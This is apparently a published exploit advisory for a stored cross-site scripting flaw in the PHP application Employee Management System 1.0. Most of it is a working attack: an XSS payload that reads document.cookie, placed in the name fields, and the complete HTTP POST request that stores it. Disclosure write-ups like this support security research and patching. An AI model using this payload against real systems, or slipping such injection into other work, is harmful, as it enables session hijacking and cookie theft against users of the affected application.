Employee Management System version 1.0 suffers from a persistent cross site scripting vulnerability.
a80ca0838198403530e102e443f586df#Exploit Title: Employee Management System 1.0 - Stored Cross Site Scripting
#Date: 2020-10-16
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
#Version: 1.0
#Tested on: Windows 10 + xampp v3.2.4
Proof of Concept:::
Step 1: Open the URL localhost:8081/Employee Management System/addemp.php
Step 2: Use payload <img src=x onerror=alert(document.cookie)> in First Name and Last Name.
Malicious Request:::
POST /Employee%20Management%20System/////process/addempprocess.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3267707159765331982713791736
Content-Length: 1571
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Employee%20Management%20System/////addemp.php
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv
Upgrade-Insecure-Requests: 1
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Content-Disposition: form-data; name="firstName"
<img src=x onerror=alert(document.cookie)>
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Content-Disposition: form-data; name="lastName"
<img src=x onerror=alert(document.cookie)>
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Content-Disposition: form-data; name="email"
[email protected]
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Content-Disposition: form-data; name="birthday"
2020-09-28
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Content-Disposition: form-data; name="gender"
Female
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Content-Disposition: form-data; name="contact"
9876543211
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Content-Disposition: form-data; name="nid"
12
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Content-Disposition: form-data; name="address"
Gujarat
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Content-Disposition: form-data; name="dept"
CS
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Content-Disposition: form-data; name="degree"
BE
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Content-Disposition: form-data; name="salary"
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Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
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Cookie will be reflected on View Employee.